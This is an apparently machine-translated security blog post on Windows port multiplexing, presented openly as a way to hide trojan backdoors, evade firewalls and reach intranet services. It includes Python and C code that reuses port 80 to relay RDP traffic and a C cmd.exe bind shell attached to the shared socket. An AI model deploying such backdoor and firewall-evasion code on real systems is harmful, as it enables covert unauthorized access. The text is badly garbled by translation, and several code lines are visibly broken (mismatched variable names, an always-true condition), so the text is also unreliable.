Расскажите о реализации и подводных камнях мультиплексирования портов

задняя часть сервер API Windows

0x00 открытие

Мультиплексирование портов всегда было распространенным методом для троянских коней, и когда мы проводим тесты безопасности, иногда требуется мультиплексирование портов.

Общие условия для мультиплексирования портов следующие:

(1) Сервер открывает для внешнего мира только определенный порт (порт 80 или любое другое небольшое количество портов), а все остальные порты блокируются (2) Во избежание брандмауэра (3) Чтобы скрыть собственный бэкдор ( 4) Без переадресации портов (5) Инфильтрация интрасети (например: когда текущий сервер находится в интрасети, IP-адрес интрасети 10.10.10.10, порт входа в терминал открыт, но не открыт для внешней сети, сопоставление портов выполняется через IP-адрес внешней сети: 111.111.111.111 и открыт только порт 80, через мультиплексированный порт, напрямую подключенный к интрасети).

Подводя итог, для достижения наших различных небольших целей технология мультиплексирования портов по-прежнему необходима.

Эта статья в основном посвящена мультиплексированию портов в системе Windows.По сравнению с Windows, мультиплексирование портов в Linux просто и легко реализуемо и не будет обсуждаться.

0x01 Точки мультиплексирования портов

Мультиплексирование портов, нельзя использовать общийsocketСокет контролируется напрямую, что приведет к сбою запуска самой программы или связанных с ним служб, занимающих порт, поэтому единственный способ — пока что делать что-то локально.

Первый, перенаправление мультиплексирования портов

Пример: установить два сокета локальноsock1,scok2,scok1Слушайте порт 80, когда придет соединение,Sock2порт перенаправления соединения,Sock1Полученные данные оцениваются и передаютсяSock2Вперед. Таким образом, вы можете подключиться к перенаправленному порту, обратившись к порту 80 целевой машины.

Во-вторых, мультиплексирование портов

Пример: Установите локальный порт, который слушает тот же порт, что и локальный открытый порт, например порт 80. Когда приходит соединение, определите, является ли это вашим собственным пакетом данных, если да, обработайте данные, в противном случае не обрабатывайте их и передать его исходной программе.

Мультиплексирование портов на самом деле не так загадочно и сложно, как все думают.Среди них, перенаправление портов использует только локальный адрес обратной связи 127.0.0.1 для пересылки и получения входящих данных, а мультиплексирование портов использует толькоsocketсопутствующие функции, не более того.

Мультиплексирование портов TCP реализовано фрагментом кода следующим образом.

    s = socket(AF_INET,SOCK_STREAM,0);

    setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1));

    server.sin_family=AF_INET;

    server.sin_port=htons(80);

    server.sin_addr.s_addr=htonl(“127.0.0.1”);скопировать код

Одной из наиболее важных функций технологии мультиплексирования портов являетсяsetsockopt(), Эта функция определяет проблему перепривязки портов.

Объяснение Википедии:setsockopt()Функция для установки значения параметра для любого типа, любого состояния сокета. Хотя параметры существуют на разных уровнях протокола, эта функция определяет параметры только на самом высоком уровне «сокета».

По умолчанию сокет не может привязаться (bind()) к уже используемому локальному адресу. Но иногда необходимо «переиспользовать» адреса. Поскольку каждое соединение однозначно определяется комбинацией локального и удаленного адресов, при условии, что удаленные адреса различаются, привязка двух сокетов к одному адресу не является большой проблемой. Чтобы сообщить реализациям сокетов, чтобы не препятствовать привязке адреса к другому сокету, потому что он уже используется другим сокетом, приложение можетbind()установить перед вызовомSO_REUSEADDRопции. Обратите внимание, что толькоbind()Эта опция интерпретируется только при вызове, поэтому нет необходимости (но безвредно) устанавливать эту опцию для сокета, который не имеет общих адресов, илиbind()Установите или снимите этот параметр, не затрагивая этот или другие сокеты.

То, что мы собираемся использовать здесь, этоsocketсерединаSO_REUSEADDR, ниже его объяснение.

SO_REUSEADDR предоставляет следующие четыре функции:

SO_REUSEADDR: позволяет запустить прослушивающий сервер и привязать его известный порт, даже если ранее установленные соединения, использующие этот порт в качестве локального порта, все еще существуют. Обычно это происходит при перезапуске прослушивающего сервера, если этот параметр не установлен, то при привязке возникнет ошибка. SO_REUSEADDR: позволяет запускать несколько экземпляров одного и того же сервера на одном и том же порту, если каждый экземпляр связан с другим локальным IP-адресом. С TCP для нас просто невозможно запустить несколько серверов, связанных с одним и тем же IP-адресом и одним и тем же номером порта. SO_REUSEADDR: позволяет одному процессу привязывать один и тот же порт к нескольким сокетам, если каждая привязка указывает другой локальный IP-адрес. Обычно это не используется для серверов TCP. SO_REUSEADDR: разрешает полную дублирующую привязку: когда IP-адрес и порт привязаны к сокету, также разрешается привязка IP-адреса и порта к другому сокету. Как правило, эта функция доступна только в системах, поддерживающих многоадресную рассылку, и только для сокетов UDP (TCP не поддерживает многоадресную рассылку).

Как правило, нам нужно установитьsocketЭто неблокирующий режим, потому что, если мы находимся в блокирующем режиме, это может привести к недоступности исходной службы занятого порта или недоступности его собственной программы.Видно, что безопаснее использовать неблокирующий режим для порта. повторное использование.

Тем не менее, необходимо проверить теоретические факты.Если некоторые порты настроены на неблокировку из-за непрерывности передачи данных, это может привести к аномальному приему данных или сбою приема данных.Неблокировка мало влияет на краткосрочные соединения, но это мало влияет на постоянные соединения.Может быть затронуто соединение, например, переадресация и мультиплексирование порта 3389, поэтому использование неблокировки зависит от ситуации с портом.

блокироватьБлокирующий вызов означает, что до возврата результата вызова текущий поток будет приостановлен (поток переходит в неисполняемое состояние, в этом состоянии ЦП не будет выделять потоку квант времени, то есть поток приостанавливается ). Функция не возвращается, пока не получит результат.

неблокирующийТакому соответствуют понятия неблокируемость и блокировка, а это значит, что функция не будет блокировать текущий поток до тех пор, пока результат не будет получен сразу, а вернётся немедленно.

0x02 Яма мультиплексирования портов

Мультиплексирование портов можно разделить натеорияинастоящий бой, О ямах поговорим подробнее ниже.

Теория: Теоретически мы используем технологию мультиплексирования портов, чтобы не влиять на другие программы или процессы, занимающие этот порт, потому что мы устанавливаемsocketзаSO_REUSEADDR, монитор0.0.0.0:80и слушаю192.168.1.1:80или слушать127.0.0.1:80, их адреса разные, трафик, полученный созданной программой или процессом, не влияет друг на друга, а несколько потоков или процессов не влияют друг на друга.

Реальный бой: В Windows мы устанавливаемsocketзаSO_REUSEADDR, но не может открыть программу мультиплексирования портов, закрыть программу веб-службы, программа мультиплексирования портов доступна, но программа веб-службы не может использоваться, и может существовать только то же самое, поэтому мультиплексирование портов является запасным колесом. О нет, это домкрат, используйте его при замене запаски.

В теории наше мышление идеально, но на самом деле вы ставитеsocketзаSO_REUSEADDRНе такой большой, как ожидалось.

как программистsocketНеобходимо использовать перед привязкойsetsockoptуточнитьSO_EXCLUSIVEADDRUSEВсе адреса портов должны быть эксклюзивными, а мультиплексирование не допускается. Таким образом, другие люди не смогут повторно использовать этот порт, даже если вы установитеsocketзаSO_REUSEADDRТоже не работает, программа вообще не запускается.

При тестировании мультиплексирования портов в Windows, когда служба IIS запущена, программа мультиплексирования портов не может работать нормально.Когда программа мультиплексирования портов включена, IIS не может нормально использоваться.Прочитав соответствующие документы, мы узнали, что причина в том, что запуск начиная с IIS6.0, Microsoft будет инкапсулировать процесс сетевого взаимодействия на уровне Ring0, а драйвер http.sys используется для прямого сетевого взаимодействия. один установленSO_REUSEADDRизsocketВсегда можно выполнить привязку к исходному адресу и исходному порту, который уже был привязан, независимо от предыдущей привязки по этому адресу и порту.socketЭто установленоSO_REUSEADDRнет. Эта операция оказала большое влияние на безопасность системы, поэтому Microsoft добавила еще однуsocketОпции:SO_EXECLUSIVEADDRUSE. уже настроенSO_EXECLUSIVEADDRUSEизsocketУбедитесь, что после успешной привязки исходный порт и адрес для привязки принадлежат только этому порту.socket,разноеsocketНи один не может связать, даже они используютSO_REUSEADDRБесполезно запрашивать мультиплексирование портов (конечно, вы также можете изменить адрес прослушивания IIS или внедритьhttp.sysводить, но в реальном бою это нереально).

Среди них есть исключения, например, apache и другое промежуточное ПО сервера, работающее на прикладном уровне, может выполнять мультиплексирование портов на своих открытых портах, но таким образом область мультиплексирования портов намного меньше.

Но вы думаете, что это действительно так? НЕТ НЕТ НЕТ!

Трафик порта осуществляется через протокол.Если через порт проходит несколько протоколов, трафик будет направляться только к одному соединению, а трафик будет направляться к первому (последнему) установленному соединению.socket,другиеsocketОн может подключаться к WAIT, ждать, пока соединение для передачи данных будет прервано, или нормально завершиться после завершения передачи данных, а другое соединение будет заблокировано и не может быть использовано, что соответствует китайской пословице «Одна гора не может быть использована». за двух тигров" (вероятность этого будет меньше при пересылке с разделенными данными). ).

Если данные выгружаются иburpиFiddlerПринцип тот же, переадресация через посредника осуществляется посредством прокси-передачи, которая может не только обеспечить мультиплексирование портов, но и обеспечить целостность данных.

Есть много способов обойти эти ямы, приведу несколько примеров

1. Перенаправление прокси локального порта

2. Инъекция крючком

3. Приводной впрыск

Методы обхода выходят за рамки этой статьи. ^__^

0x03 Процесс мультиплексирования портов

После того, как с принципом и пит-поинтами покончено, давайте поговорим о конкретных деталях мультиплексирования портов (даже если мы знаем актуальность мультиплексирования портов сейчас)

Описание эксперимента: все эксперименты в этой статье являются теоретическими экспериментами, и все промежуточное ПО службы работает на уровне системных приложений.

В настоящее время существует два типа мультиплексирования портов привязки:

Мультиплексное перенаправление портов

Мультиплексный порт

(1) Мультиплексное перенаправление портов

Условия использования:

Изначально существует порт 80 и прослушивается порт 80, вам нужно повторно использовать порт 80 для перенаправления на порт 3389 (любой другой)

Подготовьте среду:

Здесь я использую jspstudy для создания веб-сервера и использую виртуальную машину для имитации внешней среды.

Сервер Windows7: IP: 192.168.1.8, открытый порт 80, порт 3389

Виртуальная машина Win2008: IP: 192.168.19.130

Включаем сервер и проверяем открытые порты, видим что у нас открыты порты 80 и 3389

Давайте сейчас запустим инструмент мультиплексирования портов, чтобы увидеть, нормальная ли веб-страница.

Затем сервер win2008 192.168.19.130 открывает соединитель удаленного рабочего стола для подключения к порту 80 192.168.1.8.

Как видите, мы успешно подключились к порту 3389 192.168.1.8.

(2) Порт мультиплексирования

Условия использования:

Изначально существует порт 80, и он слушает порт 80, вам нужно переиспользовать порт 80 на порт 23 (любой другой)

Подготовьте среду:

Здесь я использую jspstudy для создания веб-сервера и использую виртуальную машину для имитации внешней среды.

Сервер Windows7: IP: 192.168.1.8, открытый порт 80

Виртуальная машина Win2008: IP: 192.168.19.130

Мультиплексирование портов здесь предназначено для имитации бэкдора cmd, когда внешний IP-адрес: 192.168.19.130, локальный IP-адрес telnet: 192.168.1.8, отбрасывает cmsdshell в прошлом.

Запустите инструмент мультиплексирования портов и подключитесь telnet к порту 80 192.168.1.8.

Вы можете видеть, что мы успешно получили сеанс оболочки cmd.

Что ж, мы сделали конкретную теорию, ямы и реальный бой, теперь давайте приступим к анализу исходного кода.

0x04 Анализ исходного кода мультиплексирования портов

(1): Перенаправление мультиплексированного порта

Назначение: изначально существовал порт 80, и прослушивались порты 80, 22, 23, 3389 и другие порты, повторно использовался порт 80

Реализация мультиплексного перенаправления портов

(1) Внешний IP-адрес на локальный IP-адрес: 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389

(2) Локальный IP-адрес на внешний IP-адрес: 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1

первый внешнийIP(192.168.2.1)подключиться локальноIP(192.168.1.1)из80порт, из-за местныхIP(192.168.1.1)Мультиплексирование портов ограничено80порт, поэтому порт мультиплексной привязки прослушивает внешнийIP(192.168.2.1)Адресуйте трафик, определите, является ли он HTTP-трафиком, и, если да, отправьте его обратно в локальный80порт, иначе местныйIP(192.168.1.1)адрес подключения локальныйip(127.0.0.1)из3389порт, из местногоIP(127.0.0.1)порт3389Полученный трафик является локальнымIP(192.168.1.1)адрес отправлен на внешнийIP(192.168.2.1)По адресу этот процесс завершает полное перенаправление мультиплексирования портов.

Мы объясняем код Python следующим образом:

#coding=utf-8

import socket
import sys
import select

host='192.168.1.8'
port=80
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) 
s.bind((host,port))
s.listen(10)

S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
S1.connect(('127.0.0.1',3389))
print "Start Listen 80 =>3389....."
while 1:
    infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除
    if len(infds)!=0:#转发3389需去除
        conn,(addr,port)=s.accept()
        print '[*] connected from ',addr,port
        data=conn.recv(4096)
        S1.send(data)
        recv_data=s1.recv(4096)
        conn.send(recv_data)
print '[-] connected down',
S1.close()
s.close()скопировать код

Сначала мы создаем два сокетаsиs1,sсвязывать80порт, гдеsetsockoptиспользовалsocket.SO_REUSEADDRДля достижения цели мультиплексирования портов,s1подключиться локально3389порт,s1Здесь он играет роль передачи данных,selectЭто то, что мы используем для решения проблем с блокировкой, но этот код здесь немного проблематичен.Эта проблема упоминалась ранее,3389Порт может быть подключен, но передача данных будет прервана, нам нужно включить многопоточность, чтобы обеспечить непрерывную передачу данных и отменить ее.select.

Так что, если вы хотите различать эти два данных?

Нам нужно только добавить суждение (как судить о заголовке данных можно настроить) или судить о нашем собственном заголовке тега.

if 'GET' or ‘POST’ in data:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',80))
    s.send(data)
    bufer=''
    while 1:
       recv_data=s.recv(4096)
       bufer += recv_data
       if len(recv_data)==0:
          breakскопировать код

Мы пересылаем чужие пакеты на локальный loopback-адрес80Порт http сервера.

Ниже приведен код реализации языка C:

Как и в коде Python, сначала мы привязываем локальный монитор и повторно используем80Порт, где прослушивающий IP может иметь проблемы, то мы можем заменить его на192.168.1.1,127.0.0.1Все возможно, но не здесьselectЧтобы разобраться с блокировкой, будут проблемы, поэтому убираем ее, и напоследок создаем поток для взаимодействия по передаче данных.

    //初始化操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("0.0.0.0");
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("[-] error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[-] error!setsockopt failed!//n");
        return -1;
    }
    //绑定操作
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[-] error!bind failed!//n");
        return -1;
    }
    //监听操作
    listen(server_sock, 2);

    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            cthd = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (cthd == NULL)
            {
                printf("[-] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(cthd);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;
}скопировать код

вот одинClientThread()функция, эта функция требуется вmain()Вызывается в функции (см. приведенный выше код), здесь создается сокет для подключения к локальному3389порт, сwhileЦикл для обработки мультиплексированных интерактивных данных,80Данные, отслеживаемые портом, отправляются на локальный3389порт выше, от местного3389Данные, считанные портом, используются80Сокет порта отправляется, что представляет собой перенаправление мультиплексирования портов.Конечно, как и в приведенном выше коде Python, в середине может быть добавлено условие оценки данных, чтобы обеспечить целостность, надежность и точность потока данных.

//创建线程
DWORD WINAPI ClientThread(LPVOID lpParam)
{
    //连接本地目标3389
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    saddr.sin_port = htons(3389);
    if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("[-] error!socket failed!//n");
        return -1;
    }
    val = 100;
    if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
    {
        ret = GetLastError();
        return -1;
    }
    if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
    {
        ret = GetLastError();
        return -1;
    }
    if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) != 0)
    {
        printf("[-] error!socket connect failed!//n");
        closesocket(conn_sock);
        closesocket(ss);
        return -1;
    }
    //数据交换处理
    while (1)
    {
        num = recv(ss, buf, 4096, 0);
        if (num > 0){
            send(conn_sock, buf, num, 0);
        }
        else if (num == 0)
        {
            break;
        }
        num = recv(conn_sock, buf, 4096, 0);
        if (num > 0)
        {
            send(ss, buf, num, 0);
        }
        else if (num == 0)
        {
            break;
        }
    }
    closesocket(ss);
    closesocket(conn_sock);
    return 0;
}скопировать код

Другой метод — использовать переадресацию портов для достижения эффекта мультиплексирования портов.Мы также можем использовать инструменты переадресации портов, такие как lcx, для достижения того же эффекта, но скрытие не очень хорошее, но давайте упомянем об этом.

НижеpythonКодlcxИз-за нехватки места написан только основной код.

Сначала определите две функции, однуserverконец иconnectконец,serverдля связывания портов,connectИспользуется для подключения к перенаправленным портам.

здесьselectдля решения проблем с блокировкой сокетов,get_stream()функция обменаsockПреимущество этого заключается в том, что разделение труда между двумя сторонами является четким, что позволяет избежать путаницы.ex_stream()Функция используется для пересылки данных потоковых объектов.Connect()В функции есть контроль времени для контроля времени ожидания соединения и ожидания соединения, чтобы избежать исключения ошибки соединения.

Однако фактselectПосле контроля блокировки3389Соединения с портом не могут правильно обмениваться данными, другие эфемерные сокеты соединения не затрагиваются.

def get_stream(flag):
   pass
def ex_stream(host, port, flag, server1, server2):
   pass
def server(port, flag):
    host = '0.0.0.0'
    server = create_socket()
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((host, port))
    server.listen(10)
    while True:
         infds,outfds,errfds=select.select([server,],[],[],5)
        if len(infds)!= 0: 
            conn, addr = server.accept()
            print ('[+] Connected from: %s:%s' % (addr,port))
            streams[flag] = conn
            server_sock2 = get_stream(flag) 
            ex_stream(host, port, flag, conn, server_sock2)

def connect(host, port, flag):
    connet_timeout = 0
    wait_time = 30
    timeout = 5
    while True:
        if connet_timeout > timeout:
            streams[flag] = 'Exit'
            print ('[-] Not connected %s:%i!' % (host,port))
            return None
        conn_sock = create_socket()
        try:
            conn_sock.connect((host, port))
        except Exception, e:
            print ('[-] Can not connect %s:%i!' % (host, port))
            connet_timeout += 1
            time.sleep(wait_time)
            continue

        print "[+] Connected to %s:%i" % (host, port)
        streams[flag] = conn_sock
        conn_sock2 = get_stream(flag) 
        ex_stream(host, port, flag, conn_sock, conn_sock2)скопировать код

(1): Мультиплексирование портов

Принцип мультиплексирования портов состоит в том, чтобы контролировать тот же порт, что и исходный порт, занимающий программу.Когда мультиплексированный порт имеет данные, мы можем судить, является ли это нашим собственным пакетом данных.Исходный порт занимает обработку программы.

Проблема здесь в том, что если вы не разберетесь с атрибуцией пакетов, то порт будет занят мультиплексором портов, из-за чего программа занятости исходного порта не сработает.

Внешний IP: 192.168.2.1=>192.168.1.1:80=>run(данные)

Внутренний IP: return(data)=>192.168.1.1:80=>192.168.2.1

Код использует бэкдор cmd в качестве примера, мы все равно сначала создаем сокет TCP

    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);скопировать код

настраиватьsocketмногоразовыйSO_REUSEADDR

    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));скопировать код

Установите IP и номер мультиплексированного порта, IP и номер порта зависят от ситуации.

    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("192.168.1.8");
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);скопировать код

Установите программу восстановления наcmd.exeНапример, сначала создайте свойство окна и инициализируйте его какCreateProcess()Создайте процесс для подготовки, когдаcmd.exeПосле успешного создания процесса начните сsocketДля обмена данными его также можно заменить другими программами, такими какShellcodeПони-ресиверы, программы для записи в файлы, бэкдоры и прочее.

    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;

    char cmdLine[] = "cmd";
    PROCESS_INFORMATION pi;
    ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &pi);скопировать код

0x05Сводка

В технологии мультиплексирования портов действительно много ям. На самом деле, пока мы знаем характеристики, обойти не сложно. Я думаю, что мультиплексирование портов нормально в системе Linux, но когда технология мультиплексирования портов внедряется в систему Windows, я думаю, что мультиплексирование портов похоже на домкрат.Его можно использовать при смене запасного колеса, но ненадолго, иначе он Возникла проблема (^__^).